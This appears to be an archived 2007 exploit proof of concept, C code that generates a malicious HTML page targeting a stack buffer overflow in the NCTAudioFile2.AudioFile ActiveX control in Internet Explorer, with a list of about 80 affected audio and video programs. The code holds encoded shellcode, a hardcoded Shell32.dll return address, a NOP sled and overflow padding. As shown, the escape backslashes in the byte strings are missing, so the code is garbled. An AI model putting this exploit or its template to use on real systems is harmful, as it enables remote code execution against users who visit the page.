Home / os / linux

nctaudio.txt

Posted on 17 April 2007

/* ------------------------------------------------------------------------------------------------- [PoC] 79 Exes's / IE NCTAudioFile2.AudioFile ActiveX Remote Stack Overfl0w Auther: InTeL Original Advisory: http://secunia.com/secunia_research/ Attack Vector: EIP smash Type: Remote (Malicious webpage) Mail; intel@stole.in Tested on Win2k SP4 (English), with Internet Explorer 6 *Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 but with XP Pro SP2 and IE 7 combo it seems to only result in a DoS, crashing IE, but when Ollydbg is attached to IExplorer and we go through the exploit process Calc.exe is executed (kinda confusing). So hopefully someone else will be able to get RCE with it if you do though contact me and let me kno how you did it List of Exes that come with NCTAudioFile2.AudioFile ActiveX component that are vulnerable - NCTAudioStudio 2.7.1 - NCTAudioEditor 2.7.1 - NCTDialogicVoice 2.7.1 - Magic Audio Recorder 5.3.7 - Magic Music Editor 5.2.2 - Magic Audio Converter 8.2.6 build 719 - Aurora Media Workshop 3.3.25 - DB Audio Mixer And Editor 1.1.0 - Fx Audio Editor 4.7.11 - Fx Audio Tools 7.3.4 - Fx Magic Music 5.7.7 - Fx New Sound 5.1.1 - Fx Movie Joiner 6.2.8 - Fx Movie Splitter 6.4.7 - Fx Movie Joiner and Splitter 6.2.8 - Fx Video Converter 7.51.21 - Fx Audio ConCat 1.2.0 Beta - EXPStudio Audio Editor 4.0.2 - iMesh 7.0.2.26789 - Quikscribe Recorder version 5.021.29 - Quikscribe Player version 5.022.05 - SoundEdit Pro 2.1 - AudioConvert 3.1.0.125 - CDBurnerXP Pro 3.0.116 - Wave MP3 Editor 10.1 - aBasic Editor 10.1 - Movavi VideoMessage 1.0 - Movavi DVD to iPod 1.0 - Movavi ConvertMovie 4.4 - Movavi ChiliBurner 2.3 - Movavi SplitMovie 1.4 - Movavi Suite 3.5 - Dexster 3.0 - iVideoMAX 3.9 - VIDEOzilla 2.5 - Snosh 1.4 - MP3 to WAV Converter 3.0 - Sienzo Digital Music Mentor (DMM) 2.6.0.3 - MP3 Normalizer 1.03 - FREE Hi-Q Recorder 1.9 - Easy Hi-Q Recorder 2.0 - Easy Hi-Q Converter 1.7 - Audio Edit Magic 9.2.3 Build 389 - Video Converter Plus 3.01 - Audio Convertor Plus 2.2 - Virtual CD versions 6.0.0.7, 7.1.0.2, and 8.0.0.6 - Virtual CD File Server version 7.1.0.3 - Cheetah CD Burner 3.56 - Cheetah DVD Burner 1.79 - Power Audio Editor 11.0.1 - AudioEdit Deluxe 4.10 - Blaze Media Pro 7.0 - Blaze MediaConvert 3.4 - ContextConvert Pro 3.1 - Full Audio Converter 4.2 - Music Editing Master 5.2 - Easy Audio Editor 7.4 - Visual Video Converter 4.4 - Text to Speech Maker 1.3.8 - Arial Sound Recorder 1.4.3 - Arial Audio Converter 2.3.40 - Absolute Sound Recorder 3.4.5 - Absolute Video to Audio Converter 2.7.9 - Absolute MP3 Splitter 2.5.4 - McFunSoft iPod Audio Studio 6.2.4 - McFunSoft Recording to iPod Solution 5.1 - McFunSoft iPod Music Converter 5.1 - McFunSoft Audio Recorder for Free 6.1 - McFunSoft Audio Editor 6.3.3 Build 489 - McFunSoft Audio Studio 6.6.3 Build 479 - Easy Ringtone Maker 2.0.5 - RecordNRip 1.0 - MP3 WAV Converter 3.1.8 - Audio Editor Gold 9.2.5 Build 424 - Audio Studio Gold 7.0.1.1 Build 500 - Altdo Mp3 Record&Edit Audio Master 1.2 - Altdo Convert Mp3 Master 1.1 - Magic Audio Editor Pro 10.3.1 Build 476 - Magic Music Studio Pro 7.0.2.1 Build 500 - + prob many more ------------------------------------------------------------------------------------------------- */ #include <stdlib.h> #include <stdio.h> // Exec Calc.exe Scode unsigned char scode[] = "xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49" "x49x49x49x49x49x49x49x49x49x49x49x51x5ax37x6ax4a" "x58x50x30x42x31x41x42x6bx42x41x5ax42x32x42x41x32" "x41x41x30x41x41x58x38x42x42x50x75x7ax49x59x6cx6d" "x38x31x54x37x70x65x50x55x50x4cx4bx47x35x35x6cx4c" "x4bx51x6cx43x35x52x58x73x31x6ax4fx4cx4bx42x6fx55" "x48x6ex6bx61x4fx51x30x54x41x7ax4bx73x79x4cx4bx55" "x64x4ex6bx77x71x5ax4ex34x71x69x50x4cx59x6ex4cx4b" "x34x6fx30x34x34x56x67x6ax61x6ax6ax46x6dx64x41x4f" "x32x5ax4bx6cx34x55x6bx31x44x34x64x46x64x30x75x4b" "x55x4ex6bx61x4fx45x74x45x51x7ax4bx70x66x6ex6bx76" "x6cx62x6bx4ex6bx53x6fx35x4cx75x51x6ax4bx4ex6bx65" "x4cx6ex6bx56x61x58x6bx6bx39x51x4cx44x64x63x34x69" "x53x37x41x49x50x75x34x6ex6bx51x50x44x70x6bx35x59" "x50x72x58x64x4cx4ex6bx61x50x66x6cx4ex6bx50x70x45" "x4cx6ex4dx4cx4bx43x58x77x78x6ax4bx45x59x6cx4bx6d" "x50x4cx70x53x30x53x30x75x50x4cx4bx33x58x45x6cx63" "x6fx66x51x48x76x75x30x51x46x6cx49x4cx38x6ex63x4f" "x30x61x6bx52x70x62x48x58x6fx78x4ex6dx30x75x30x62" "x48x4ex78x69x6ex4ex6ax44x4ex70x57x6bx4fx4bx57x55" "x33x72x41x50x6cx30x63x46x4ex43x55x54x38x65x35x43" "x30x4a"; int main(int argc, char *argv[]) { FILE *handle; if(argc < 2) { printf("[PoC] 79 EXE's / IE NCTAudioFile2.AudioFile ActiveX Remote Buffer Overflow "); printf("Usage: %s <output html file> ", argv[1]); return 0; } if(!(handle = fopen(argv[1], "w"))) { printf("[+] Error"); return 0; } fputs("<html> <head> ",handle); fputs("<title> PoC 79 Exe's / IE NCTAudioFile2.AudioFile ActiveX Remote Stack Overfl0w By InTeL </title> ", handle); fputs("</head> ", handle); fputs("<body> ",handle); fputs("<object classid="clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC" id="pwnage"> ",handle); fputs("</object> <script> ", handle); fputs("pwnage.SetFormatLikeSample("", handle); for (int i=0;i<4120;i++) { fputs("A", handle); } fputs("x5excaxffx7c", handle); //0x7cffca5e in Shell32.dll - Win2k for (i=0;i<200;i++) { fputs("x90", handle); } fputs((char *)scode, handle); fputs("") ", handle); fputs("</script> </html> </body> ", handle); fclose(handle); printf("[+] File successfully created"); return 0; }

 

TOP